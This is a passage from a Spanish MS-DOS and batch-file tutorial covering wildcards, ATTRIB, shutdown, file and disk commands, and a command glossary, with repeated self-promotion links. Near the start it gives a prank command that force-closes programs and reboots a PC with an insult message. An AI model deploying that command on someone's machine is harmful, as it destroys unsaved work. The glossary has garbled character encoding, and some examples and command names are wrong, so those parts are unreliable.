? El ? es parecido al anterior, solo que sustituye a un solo carácter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienza por c (un carácter cualquiera) sa, por ejemplo borraría; casa.jpg cosa.jpg cesa.jpg cssa.jpg…. entienden no?

El * y ? sirve tanto para el nombre como la extensión…. No voy a liarme mucho en esto, porque es algo fácil y seguro que lo entienden. Les pondré algún ejemplo que seguro q entienden.c?sa.* (archivos c -un carácter- sa y de cualquier extensión)*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extensión b + lo que sea)

CHDIR o CD [path>Cambia al directorio indicado.CD \”c:\\archivos de programa\” Trasladarse al directorio Archivos de programaCD .. Trasladarse al directorio superiorCD \\ Trasladarse al raíz

ATTRIB [/S> [archivo>

Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.Con el parámetro /S busca también en subdirectorios.Los atributos son:H -> oculto. Se activa con +h y desactiva con -hR -> Lectura. Solo lectura con +r, normal con -rS -> Sistema. Se activa con +s y desactiva con -sA -> Modificado. Para copias de seguridad increméntales. +a indica modificado y -a indica no modificado.ATTRIB archivo.txt Muestra los atributos de ese archivoATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt

Page 56: Batch

Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

shutdown este comando, depende de las letras que lo acompañen, puede hacer una cosa u otra:si esta seguido de -r se reiniciara el equipo-s hará que se apague-f forzara a cerrarse todos programas-t 15 indica el tiempo…en este caso 15 segundos-c ” ” lo que va entre comillas será un mensaje…pongamos un ejemplo:

shutdown -r -f -t 12 -c “jodete” esto ara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo haga en 12 segundos (-t 12) y salga un mensaje q diga jodete

Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto….etc son los básicos

1. El MS- DOS2. Arranque del sistema3. Los caracteres de interacción (PROMPT)4. Introducción de comandos del MS-DOS5. Comandos internos y comandos externos6. Cambio de unidad7. Cambiando el PROMPT del sistema8. Creación de archivos de texto9. Ordenación de las líneas de datos10.Uso de los caracteres comodín11.Uso de la interrogación (?)12.Uso de la ayuda del MS-DOS (help)13.El comando DIR y sus parámetros14.Ejemplos del comando directorio15.Como mover archivos16.Como eliminar archivos17.Como renombrar archivos18.Comparación e impresión de archivos19.Administración de los discos el manejo de los disquetes

EL MS- DOS

El MS-DOS es un programa , pero no es un programa cualquiera. Ningún programa podrá funcionar si no esta presenta el MS-DOS. La razón es que MS-DOS controla cada una de las partes del computador. El MS-DOS no solo posibilita que nuestros programas trabajan, sino que también permite controlar completamente lo que el ordenador hace y como lo hace. El MS-DOS es la unión entre el usuario y el hardware.

Page 57: Batch

Sin importar lo potente que sea el hardware (teclado, pantalla, impresora, etc.), un computador no puede hacer absolutamente nada sin los programas que forman la estructura lógica y que reciben el nombre de software.

El MS-DOS es un sistema operativo para computadores IBM y compatibles y se le llama Sistema Operativo de Disco porque gran parte de su funcionamiento implica la gestión de discos y archivos de discos. Un sistema operativo tiene como función poner operativa a una maquina y controlar y administrar todos los componentes del sistema.

UNIDADES DE DISCO

Los computadores personales emplean las unidades de 51/4(actualmente no se usan) y las de 31/2, estos son los disco flexibles, el disco duro tiene una capacidad de almacenamiento muy superior a la de los discos flexibles.

ARCHIVOS DE DISCO

Una archivo de disco (normalmente denominado archivo) es un conjunto de información relacionada, que se encuentra almacenada en un disco, puede ser una carta, un listado de clientes , etc.

DIFERENTES VERSIONES DEL MS-DOS

El MS-DOS se ha actualizado muchas veces desde que se lanzara al mercado el año de 1981; la primera versión tenia el numero de identificación 1.00. Las versiones se hacen para aumentar la capacidad del sistema operativo, para aprovechar elementos de hardware mas perfeccionados y para corregir errores.

EL TERMINO COMPATIBILIDAD

El termino IBM o compatible hace referencia esencialmente a la capacidad de un computador de usar programas y datos creados o almacenados en otro computador. En el uso diario, la medida mas significativa de compatibilidad es la capacidad de que se puedan usar los mismos programas, datos y discos en ordenadores de diferentes marcas y modelos.

EJ: Software para IBM y MACINTOSH

UTILIDADES PRINCIPALES DEL MS-DOS

El MS-DOS coordina el funcionamiento del ordenador con nuestros programas de aplicación. Se puede emplear el MS-DOS mediante instrucciones denominadas comandos para manejar archivos, controlar el flujo de trabajo y desarrollar tareas útiles que de otro modo necesitan software adicional.

También:

Podemos crear y revisar nuestros archivos de texto Podemos adaptar MS-DOS a nuestras necesidades

ARRANQUE DEL SISTEMA

A la acción de cargar el programa del MS-DOS en el área del trabajo del computador se le llama arranque del sistema.

Introduzca el disco del MS-DOS en la unidad de disquete Encienda el computador

Page 58: Batch

Se visualiza : Iniciando MS-DOS... Se visualiza : La fecha actual es Lun 08/09/1998

o Introduzca la nueva fecha (dd-mm-aa):_ Se visualiza : La hora actual es 12:45:30.2

o Introduzca la nueva hora: Finalmente : A:\>_

LOS CARACTERES DE INTERACCION (PROMPT)

El prompt del sistema identifica la unidad por omisión, la unidad donde el MS-DOS busca los archivos, también se le llama carácter de interacción o indicador de comandos, y es lo que emplea el MS-DOS para indicar que esta pidiendo que introduzca un comando.

Ej:

C:\>_

A:\>_

INTRODUCCIÓN DE COMANDOS DEL MS-DOS

Las instrucciones que le damos al MS-DOS se llaman comandos, usándose generalmente las teclas: enter, retroceso y las direccionales.

IMPORTANTE: No olvides visitar mi pagina web: http://www.galeon.com/miguelcch, serás bienvenido.

TIPOS DE ARCHIVOS

Se consideran tres tipos:

I. Archivos de Texto: Contiene información que se puede ver. Por ejemplo procesadores de texto ( que no tengan extensiones COM y EXE).

II. Archivos de Datos: Contiene información que puede ser leída por un programa, pero no por una persona. No tienen extensiones COM o EXE.

III. Archivos de Programas: Contienen programas que la computadora puede ejecutar. Tienen extensiones COM y EXE.

NOMBRES DE ARCHIVOS Y EXTENSIONES

Un archivo puede tener un nombre formado por hasta ocho caracteres de longitud, ya sean letras o números. Se puede añadir un sufijo – denominado extensión - al nombre del archivo para describir su contenido con mas precisión. La extensión puede tener una longitud de hasta tres caracteres, y es necesario que exista un punto entre el nombre y la extensión del archivo.

Ej:

INFORME.ENE

INFORME.FEB

INFORME.MAR

EXTENSIONES ESPECIALES

Nombre Significado para el MS-DOS

Page 59: Batch

BAT Abreviatura de Batch. Identifica un archivo de texto que contiene un conjunto de comandos del MS-DOS que se ejecutan al escribir el nombre del archivo

COM Abreviatura de Command. Identifica un archivo de comandos que contiene un programa que el MS-DOS ejecuta cuando se escribe el nombre del archivo

EXE Abreviatura de Executable. Al igual que Com, identifica un archivo de comandos que contiene un programa que el MS-DOS ejecuta cuando se escribe el nombre del archivo

HLP Abreviatura de Help. Contiene un archivo de texto de ayuda usado por algunos programas, incluidos el Shell del MS-DOS y el editor de las versiones 5 y 6 del MS-DOS

OVL Abreviatura de Overlay. Identifica un archivo de comando que contiene parte de un programa de gran tamaño

SYS Abreviatura de System. Identifica un archivo de uso exclusivo del Ms-DOS

COMANDOS INTERNOS Y COMANDOS EXTERNOS

Los comandos internos o residentes son aquellos que se transfieren a la memoria en el momento de cargarse el Sistema Operativo y se pueden ejecutar sin necesidad de tener el DOS presente en la unidad por defecto desde el cual se puede ejecutar el mandato. La unidad por defecto es la unidad en la que se esta, por ejemplo A:\>_ ; y la unidad especificada es aquella a la cual nos dirigimos o especificamos estando en otra unidad, por ejemplo A:\>B: , la unidad especificada es B.

Los comandos internos se encuentran almacenados en un archivo llamado COMMAND.COM. Algunos de los comandos internos son: dir, del, date, time.

Los comandos externos en contraposición con los comandos internos se almacena en archivos de comandos denominados transitorios o externos, y para ejecutarse necesitan de estos archivos, además los comandos externos tienen nombre propio y se pueden copiar de un disco a otro.

PRINCIPALES COMANDOS INTERNOS

Y EXTERNOS DEL DOS

COMANDOS

INTERNOS

COMANDOS

EXTERNOS

CHCP

CHDIR

CLS

COPY

CITY

DATE

APPEND

ASSING

ATTRIB

BACKUP

CHKDSK

COMP

Page 60: Batch

DEL (ERASE)

MKDIR (MD)

PATH

PROMPT

RENAME (REN)

RMDIR (RD)

SET

TIME

TYPE

VERIFY

VOL

DISKCOMP

DISCOPY

FDISK

FIND

FORMAT

JOIN

KEYB

LABEL

MODE

MORE

PRINT

TREE

XCOPY

MOVE

CAMBIO DE UNIDAD

Para cambiar de unidad se pone el nombre de la unidad, seguida de dos puntos y se pulsa la tecla enter

Ej:

A:>C:

COMO ACTUALIZAR LA FECHA Y HORA DEL SISTEMA

COMANDO TIME : Pone en hora el reloj del sistema. Es un comando interno

SINTAXIS :

TIME [HH:MM[:SS[.XX]][A/P]]

PARAMETROS:

HH : Define las horas, basado en un reloj de 24 horas (de 0 a 23 siendo 0 la media noche)

MM : Son los minutos (de 0 a 59). Si no se incluye, pero se especifica HH, el MS-DOS los pone a cero

SS : Son los segundos (de 0 a 59). Este valor es opcional

XX : Son centésimas de segundo (de 0 a 99). Es opcional. Si se incluye hay que especificar SS

A/P : Definen A.M. o P.M. respectivamente

Se puede cambiar el formato de la hora utilizando el commando COUNTRY en el CONFIG.SYS

Ej :

TIME 14:35

Page 61: Batch

COMANDO DATE : Fija la feha del sistema. Es un comando interno

IMPORTANTE: Visita mi pagina web: http://www.galeon.com/miguelcch

SINTAXIS :

DATE [MES-DIA-AÑO]

MES : Es un numero del 1 al 12

DIA : Es un numero entre 1 y 31

AÑO : Es un numero entre 80 y 99 (Desde 1980 hasta 2099)

Ej:

DATE 10-10-2002

LIMPIAR PANTALLA

COMANDO CLS : Es un comando interno que borra el contenido de la pantalla y muestra el puntero de comandos del sistema

SINTAXIS :

CLS

Ej:

CLS

VISUALIZAR LA VERSIÓN

COMANDO VER : Muestra la versión del MS-DOS que se esta utilizando

SINTAXIS :

VER

Ej:

VER

VISUALIZAR LA ETIQUETA

COMANDO VOL : Muestra la etiqueta de volumen y el numero de serie asignado a un disco, si existen.

SINTAXIS :

VOL [DISCO:]

Ej:

Vol C:

CAMBIANDO EL PROMPT DEL SISTEMA

COMANDO PROMPT : Cambia el punteo de comandos del sistema por la cadena que se especifique.

SINTAXIS :

PROMPT CADENA

PARÁMETROS :

Page 62: Batch

Cadena : Es el texto que reemplazara al prompt actual

Se puede especificar cualquiera de las combinaciones $x siguientes:

Código $x Visualización

$$

$t

$d

$p

$v

$n

$g

$1

$b

$q

$h

$e

$

El carácter

La hora

La fecha

El disco y la dirección en curso

La versión del Ms-DOS

El disco actual

El carácter >

El carácter (

El carácter !

El carácter =

Retroceso: el carácter previo se borrara

El carácter de escape

El principio de una línea nueva en pantalla

 

Ej:

PROMPT $D$ $P$G

COMO REINICIAR EL SISTEMA

CTRL. + ALT + SUPR

NOTA: Visita mi pagina web: http://galeon.com/miguelcchhttp://www.galeon.com/miguelcch, te estaré muy agradecido.

CREACION DE ARCHIVOS DE TEXTO

Ejemplo :

A:\>COPY CON PRUEBA.DOC

ESTE ES UN ARCHIVO DE PRUEBA

ES EL PRIMERO CREADO

BAJO MS-DOS VERSIÓN 6.22

CTRL + Z + ENTER

1 ARCHIVO(S) COPIADO(S)

A:\>COPY CON NOTA.DOC

ESTE ES EL SEGUNDO ARCHIVO DE PRUEBA

BAJO MS-DOS VERSIÓN 6.22

Page 63: Batch

CURSO : DOS

CTRL + Z + ENTER

1 ARCHIVO(S) COPIADO(S)

COMO EXAMINAR UN ARCHIVO DE TEXTO

Ejemplo :

A:\>TYPE NOTA.DOC

ESTE ES EL SEGUNDO ARCHIVO DE PRUEBA

BAJO MS-DOS VERSIÓN 6.22

CURSO : DOS

A:\>TYPE PRUEBA.DOC

ESTE ES UN ARCHIVO DE PRUEBA

ES EL PRIMERO CREADO

BAJO MS-DOS VERSIÓN 6.22

IMPORTANTE: Visita mi página web: http://galeon.com/miguelcchhttp://www.galeon.com/miguelcch

IMPRESIÓN DE UN ARCHIVO DE TEXTO

Ejemplo :

A:\>COPY PRUEBA.DOC PRN

También se puede imprimir usando el comando PRINT (Comando Externo)

Ejemplo :

A:\>PRINT PRUEBA.DOC

COPIA DE UN ARCHIVO DE TEXTO

El comando COPY es uno de los comandos mas versátiles del MS-DOS. El comando COPY también duplica los archivos

Ej: Duplicar el archivo NOTA.DOC

A:\>COPY PRUEBA.DOC CARTA.DOC

1 archivo(s) copiado(s)

A:\>DIR

BORRAR UN ARCHIVO DE TEXTO

El comando DEL se usa para eliminar archivos.

Ej:

A:\>DEL PRUEBA.DOC

Ahora observe el resultado :

A:\>DIR

Page 64: Batch

NOTA: Te recomiendo visitar mi pagina web: http://galeon.com/miguelcchhttp://www.galeon.com/miguelcch

ORDENACIÓN DE LAS LINEAS DE DATOS

El comando SORT clasifica u ordena las líneas de información , como una lista de nombres.

Ej :

A:\>SORT < PRUEBA.DOC

A:\>SORT /R< PRUEBA.DOC> PRUEBA.ORD

A:\>SORT /R/4< PRUEBA.DOC> PRUEBA.ORD

VISUALIZACION DE UNA SALIDA LARGA

PANTALLA POR PANTALLA

Se puede usar el comando MORE (comando externo) para visualizar una salida larga pantalla por pantalla

Ej:

A:\>DIR | MORE

COMO ENVIAR EL RESULTADO DE UN COMANDO

A LA IMPRESORA

Ej:

A:\>DIR > PRN

COMO BUSCAR DIVERSOS CARACTERES

EN UN ARCHIVO

EL comando FIND busca las líneas que contiene la cadena de caracteres especificada

Ej :

A:\>FIND "ARCHIVO" PRUEBA.DOC

GESTION Y TRATAMIENTO

DE ARCHIVOS

Usando COPY crear los siguientes archivos :

INFORME.DOC

INFORME.BAK

BANCO.DOC

VENTAS.ENE

VENTAS.FEB

VENTAS.MAR

USO DE LOS CARACTERES COMODIN

Page 65: Batch

Los caracteres comodín permiten manejar varios archivos al mismo tiempo. De esta manera cuando se quiere hacer la misma cosa con varios archivos (por ejemplo cambiar su nombre o quizá borrarlos), no es necesario introducir un comando diferente para cada archivo.

ELCOMODIN ASTERISCO (*)

El asterisco facilita el uso de comandos con grupos de archivos que tengan nombres o extensiones similares; este carácter puede representar hasta los oho caracteres del nombre de un archivoo hasa los tres caracteres de una extensión.

Ej:

A:\>DIR VENTAS.*

A:\>DIR V *

A:\>DIR *.DOC

USO DE LA INTERROGACIÓN (?)

La interrogación sustituye únicamente a un carácter en un nombre de archivo o en una extensión. Generalmente se utiliza el asterisco con mas frecuencia ; la interrogación se usa solo cuando varían uno o dos caracteres que se encuentran en medio de un nombre o de una extensión.

Ej:

A:\>DIR VENTAS.?A?

USO DE LA AYUDA DEL MS-DOS (HELP)

Para ver una lista de comandos sobre los que puede pedir ayuda, teclee HELP y pulse ENTER:

Ej:

A:\>HELP

Se puede ver la ayuda de un comando especifico directamente tecleando HELP seguido del nombre del comando

Ej:

A:\>HELP DATE

Se puede mostrar un tipo diferente de ayuda , tecleando el nombre del comando seguido de un espacio y el parámetro /?

Ej:

A:\>DIR /?

EL COMANDO DIR Y SUS PARÁMETROS

El comando dir muestra los archivos del directorio

DIR [NOMBRE DE ARCHIVO] /W/P/A:<ATRIBUTO>/O<FORMA_ORDENAR>/S/B/L/CH

<NOMBRE DE ARCHIVO>: Es el nombre del archivo que quiere examinarse, puede usar comodines o el nombre de una unidad

Page 66: Batch

/W : Presenta los archivos con nombres y extensiones organizados en cinco columnas

/P : Presenta el directorio por pantallas

/A:<ATRIBUTO> : Muestra las entradas de los archivos que tienen el atributo especificado, los dos puntos son opcionales y el ATRIBUTO puede ser:

H : Muestra los archivos ocultos S : Muestra los archivos del sistema D : Muestra solo los nombre de los directorios A : Muestra los archivos cuyos atributos de seguridad esten activados R : Muestra solo los archivos de solo lectura

/O<FORMA_ORDENAR> : Especifica el orden en que serán presentadas las entradas de directorio.

<FORMA_ORDENAR> puede ser cualquiera de los siguientes parámetros :

N : Ordena alfabéticamente las entradas por nombre de archivo de la A hasta la Z

E : Ordena alfabéticamente por la extensión de la A a la Z S : Ordena por tamaño de menor a mayor G : Agrupa los directorios delante de los archivos (-G viceversa)

/S : Muestra todos los archivos de cada subdirectorio del disco que coincidan con <nombre_archivo>

/B : Muestra solamente el nombre y la extensionde cada archivo del directorio especificado, que coincida con <nombre_archivo>

/L : Muestra las entradas de directorio en minúsculas

/CH : Muestra el grado de compresión de los archivos de un disco comprimido.

EJEMPLOS DEL COMANDO DIRECTORIO

A:\>DIR /W

A:\>DIR /W/P

A:\>DIR /OE

A:\>DIR /B

A:\>DIR /AH

A:\>DIR /AR

A:\>DIR /W/P/ON

A:\>DIR /AS

LISTADOS DE UN ARCHIVO

El comando TYPE permite listar el contenido de un archivo

TYPE <NOMBRE DE ARCHIVO>

Ej:

A:\>TYPE INFORME.DOC

Page 67: Batch

A:\>TYPE VENTAS.FEB

NOTA: Visita mi pagina web: http://galeon.com/miguelcchhttp://www.galeon.com/miguelcch, te estaré muy agradecido.

EJECUCION DE COPIAS DE LOS ARCHIVOS

EL comando COPY permite sacar copia de los archivos

COPY <ARCHIVO1> <ARCHIVO2>

<ARCHIVO1> es el nombre del archivo que desea copiarse (archivo origen) y <archivo2> es el nombre de la copia que va hacerse (archivo destino). Además pueden usarse comodines para hacer varias copias a la vez.

Ej:

A:\>COPY INFORME.DOC INFORME.RES

A:\>DIR

C:\>COPY A:INFORME.DOC

A:\>COPY VENTAS.ENE C:

A:\>COPY VENTAS.MAR *.ABR

A:\>COPY INFORME.* AVANCE.*

COMO ENVIAR LOS ARCHIVOS A LOS PERIFERICOS

Cuando se envía una copia de un archivo a un periférico, el comando COPY tiene dos parámetros:

COPY <NOMBRE_ARCHIVO> <PERIFÉRICO>

Ej:

A:\>COPY *.DOC PRN

COMBINACION DE ARCHIVOS

Se puede unir varios archivos en uno solo siguiendo la sintaxis adecuada:

COPY <ORIGEN> <DESTINO>

<ORIGEN> : Representa los archivos que se van a combinar

<DESTINO> : Representa el archivo que resulta de la combinación de los archivos origen

Ej:

A:\>COPY INFORME.DOC + BANCO.DOC TOTAL.DOC

A:\>DIR

A:\>COPY VENTAS.FEB + VENTAS.MAR + VENTAS.ABRL

A:\>DIR

(Se copia en VENTAS.FEB)

A:\>COPY VENTAS.* ANUAL.VEN

Page 68: Batch

A:\>DIR

A:\>COPY *.BAK + *.DOC *.MIX

A:\>DIR

(Combina pares de archivos creando : INFORME.MIX y AVANCE.MIX

COMO MOVER ARCHIVOS

El comando MOVE, mueve un archivo de un lugar a otro. Move trabaja en su mayor parte como el comando Copy, excepto que no deja una copia del archivo en la posición original. Move es un comando externo.

El comando MOVE requiere de dos parámetros:

MOVE /Y <FUENTE> <DESTINO>

/Y : Indica que se desea que MOVE sustituya el (los) archivo(s) existente(s) sin pedir confirmación

/-Y : Indica que se desea que MOVE pida confirmación al reemplazar archivos

<FUENTE> : Es el nombre del archivo a mover

<DESTINO> : Es el nombre para el archivo en su nueva posición

Ej:

A:\>MOVE INFORME.DOC C:

A:\>MOVE *.* C:

NOTA : Este comando se usara mas el capitulo de directorios

OJO: Te recomiendo visitar mi pagina web: http://galeon.com/miguelcchhttp://www.galeon.com/miguelcch, serás bienvenido.

COMO ELIMINAR ARCHIVOS

El comando DELETE ( puede teclear indistintamente DEL o ERASE), borra uno o mas archivos de un disco

EL comando DELETE tiene dos parámetros:

DELETE <NOMBRE_ARCHIVO> /P

/P : Pide confirmación antes de borrar

Ej:

A:\>DEL VENTAS.ABR

Cree los archivos en su disco de trabajo:

OFFICE.TEC

DISEÑO.TEC

ENSAMBLA.TEC

A:\>DEL *.TEC /P

COMO RENOMBRAR ARCHIVOS

Page 69: Batch

El comando RENAME cambia el nombre del archivo, su extensión o ambos, puede usar caracteres comodín para renombrar un conjunto de archivos

Puede abreviarse a REN

El comando RENAME tiene los siguientes parámetros:

RENAME <NOMBRE ANTIGUO> <NOMBRE NUEVO>

Ej:

A:\>REN ANUAL.VENT FINAL

A:\>DIR

A:\>REN VENTAS.MAR *.TRI

A:\>DIR

A:\>REN *.DOC *.TXT

A:\>DIR

COMPARACIÓN DE ARCHIVOS

El comando FC compara dos archivos y listas las diferencias encontradas en la pantalla.

Ej:

A:\>FC INFORME.TXT VENTAS.ENE

IMPRESIÓN DE ARCHIVOS

Se emplea el comando PRINT para añadir un archivo a la cola de impresión, borrarle un archivo de esta, anular toda la impresión y mostrar los nombres de los archivos de esta. El comando PRINT tiene 4 parámetros :

PRINT <NOMBRE_ARCHIVO> /P/C/T

<NOMBRE _ARCHIVO> : Es el nombre del archivo que se va a añadir o borrar en la cola de impresión. Se introducen varios archivos separados por un espacio en blanco

/P (Print) : Indica al MS-DOS que añade <NOMBRE_ARCHIVO> a la cola de impresión

/C (Cancel) : Indica que elimine <NOMBRE_ARCHIVO> de la cola de impresión

/T (Terminate) : Detiene toda la impresión, se anula la cola de impresión

Ej:

A:\>PRINT INFORME.TXT

A:\>PRINT INFORME.DOC BANCO.DOC

A:\>PRINT /T

A:\>PRINT *.TXT

A:\>PRINT *.*

ADMINISTRACION DE LOS DISCOS

Page 70: Batch

EL MANEJO DE LOS DISQUETES

INTRODUCCIÓN

Los discos proveen de almacenamiento de información a largo plazo. La información que se graba en los discos permanece intacta hasta que es borrada.

Los discos almacenan información sobre superficies magnéticas. En un disquete, la superficie magnética es un delgado y flexible disco dentro de una cubierta protectora de plástico. Un disco duro tiene 2 o mas discos rígidos apilados uno encima del otro dentro de una caja sellada. A un disco duro también se le llama Fixed Disk o disco fijo, porque permanece dentro de su sistema de computo.

La información en los discos esta dividida en pistas (tracks), semejante a los surcos en un disco de música. Cada pista es un circulo concéntrico que contiene una determinada cantidad de información. Cuantas mas pistas contiene un disco, mas información puede almacenar. Un disco duro contiene mucho mas información que un disquete, porque tiene mas lados y mas pistas por lado.

FORMATEANDO DISCOS

Antes de poder usar un disquete , se debe primero prepararlo utilizando el comando FORMAT . El disco puede haber sido o no formateado con anterioridad.

Cuando se formatea un disco , el MS-DOS realiza un SAFE FORMAT o formato seguro por omisión. Gracias al formateo seguro, se puede restaurar un disco a su condición original, es decir antes del formateo, mediante el comando UNFORMAT , siempre y cuando no se hayan almacenado archivos en el disco recientemente formateado.

Se puede añadir el parámetro /U al comando FORMAT para realizar un formateo incondicional. Si formateo incondicionalmente un disco por equivocación, aun existen posibilidades de recobrar la información perdida , siempre y cuando se haya instalado el programa MIRROR antes de usar el comando FORMAT.

ESTRUCTURA DE UN DISCO

Al formatear un disco, el DOS reserva para su uso propio la pista exterior de la cara 0.

Entonces el espacio de un disco se separa en dos areas:

o El Area de Usuario : Destinada a la grabación de programas o de datos del usuario

o El Area del Sistema : Area reservada para uso propio del DOS

El Area del Sistema

El Area del Sistema ocupa alrededor del 2% del espacio total del disco y se divide a su vez en :

o Sector de Arranque (Boot)

Page 71: Batch

o FAT (File Allocation Table / Tabla de Localización de Archivos)

o El Directorio Raíz

El Sector de Arranque

El sector de arranque contiene un programa (BOOT) que arranca el computador, al encenderlo o al pulsar las teclas : CTRL + ALT + SUPR.

Al encender el computador , este realiza una serie de rutinas de diagnostico, para asegurarse que el hardware esta en buenas condiciones . Si se tiene un disco duro o disquete con sistema, el programa de inicialización de la ROM graba el registro de arranque del disco en la memoria del ordenador (RAM) y toma control sobre el.

El programa de inicialización busca en el disco los ficheros del sistema :

o IO.SYS o MSDOS.SYS o COMMAND:COM

Para comprobar que el disco es un disco de sistema.

Cuando el sistema encuentra los archivos : IO.SYS y MSDOS.SYS los carga en el computador y pasa el control al COMMAND.COM del DOS . Durante el proceso se cargan los archivos CONFIG:SYS y AUTOEXEC.BAT, y cualquier controlador de dispositivo por ejemplo VDISK.SYS.

OJO: Visita mi pagina web: http://galeon.com/miguelcchhttp://www.galeon.com/miguelcch, te estaré muy agradecido.

Aca estan los demas para los que quieren saber mas del dos

ANSI.SYS - Carga el c¢digo ANSI. Interviene en el Config.Sys mediante un Device=

APPEND - Indica al sistema en qu? directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que s¢lo se ocupa de archivos de comandos.

ASSIGN - Env¡a el comando direccionado en un disco hacia otro disco; este £ltimo reemplaza al primero. Ya no existe en el DOS 6.

BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauraci¢n de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendici¢n porque este comando era uno de los m s dif¡ciles de manejar.

BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programaci¢n m s simple que existe.

BAT - Extensi¢n espec¡fica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los m s conocidos es el archivo AUTOEXEC.BAT, que se ejecuta autom ticamente cuando usted pone su computadora en funcionamiento.

Page 72: Batch

BREAK - Activa o desactiva la posibilidad de realizar una interrupci¢n con Conðtrol + Pausa, que permite salir de una secuencia.

BUFFERS - Comando para el config.sys que determina la capacidad del b£fer para el disco.

CALL - En un archivo .bat, llama a otro .bat como un subprograma.

CD - Cambio de directorio; su nombre completo es CHDIR.

CHCP - Selecci¢n de las tablas de c¢digos.

CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en luðgar de CHDIR si quiere evitar presionar tres teclas en el teclado.

CHKDSK - Controla un disco y provee informaci¢n sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.

CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria.

CHOICE - Una novedad del DOS. 6. Le pide al usuario que efect£e una selecci¢n en una secuencia ®batch¯.

CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comanðdo peque¤o e interesante que conviene recordar.

COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS.

CONFIG.SYS - Archivo de configuraci¢n que dispone de instrucciones propias. Este archivo se ejecuta autom ticamente cada vez que se pone en funcionamiento la computadora.

COUNTRY - Nacionaliza el sistema, adapt ndolo al pa¡s.

DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes.

DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresi¢n puede variar normalmente de 1,7 a m s de 10, seg£n el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22.

DBLSPACE.SYS - Una novedad del DOS 6. Determina la posici¢n final del archivo dblspace.bin.

DEBUG - Lanza el programa de "debugging' (eliminaci¢n de errores). Debug est reservado a los expertos.

DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad.

DEL - Destruye uno o varios archivos en el disco (act£a como el comando ERASE).

DELOLDOS - Suprime la puesta en reserva de un DOS antiguo.

DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene,

Page 73: Batch

incluyendo los subdirectorios, en una sola operaci¢n.

DEVICE - Instala un driver de perif?rico, por medio del config.sys.

DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB.

DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo.

DISKCOPY - Copia de modo id?ntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este £ltimo y haci?ndolo sobre el modelo del disquete fuente si es necesario.

DISPLAY.SYS - Se utiliza para conmutar las tablas de c¢digos, v¡a el config.sys.

DOS - Establece un v¡nculo entre la memoria convencional y la memoria superior a trav?s del config.sys.

DOSKEY - Instala el programa de memorizaci¢n y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos.

DOSSHELL - Llama a la superestructura de di logo del DOS. Este dos shell ha sido suprimido en la versi¢n DOS 6.2 ya que Microsoft consider¢ que hab¡a sido reemplazado ventajosamente por el "Administrador de archivos" de ese superprograma que es Windows.

DRIVER.SYS - Administra las disqueteras, a trav?s del Config.Sys.

DRIVPARM - Define los par metros de perif?ricos en modo bloque, a trav?s del Config.Sys.

DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funðciones.

ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, seg£n se ponga o no en servicio este eco, usando ON u OFF respecðtivamente. Permite introducir un mensaje que ser mostrado en pantalla en todos los casos.

EMM386 - Sirve de soporte a la memoria expandida.

EMM386.EXE - Simula la memoria expandida en la memoria extendida, a trav?s del Config.sys.

ERASE - Destruye uno o varios archivos del disco (y act£a como el comando DEL). Opte por DEL ya que se escribe m s r pido.

ERROLEVEL - C¢digo de errores para archivos .BAT Otra noci¢n m s para expertos.

EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no exisðte m s en los DOS 6, est destinado a los programadores.

EXIT - Sale de un procesador de comandos. En la mayor¡a de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo.

EXPAND - Descomprime un archivo comprimido. A partir del DOS versi¢n 5.

FASTHELP - Muestra en pantalla la lista de comandos de la versi¢n 6 con una breve

Page 74: Batch

explicaci¢n.

FASTOPEN - Proporciona un acceso r pido a los archivos que se usan con m s frecuencia, o a los £ltimos que se han utilizado, memorizando su camino de acceso.

FC - Comparaci¢n de archivos. No est disponible en todas las versiones.

FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando est reservado a los expertos.

FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys.

FIND - Busca la cadena de caracteres indicada en un archivo y env¡a al perif?rico activo de salida (el monitor, por ejemplo) todas las l¡neas en las que la encontr¢.

FOR - Especifica la repetici¢n del mismo comando para cada una de las variables contenidas en la lista.

GOTO - Es un direccionamiento incondicional a una l¡nea marcada con un r¢tulo del mismo nombre en un archivo .BAT.

GRAFTABL - Carga la tabla de los caracteres gr ficos, los c¢digos ASCII 128 a 255, para la visualizaci¢n en pantalla. No existe m s en el DOS 6.

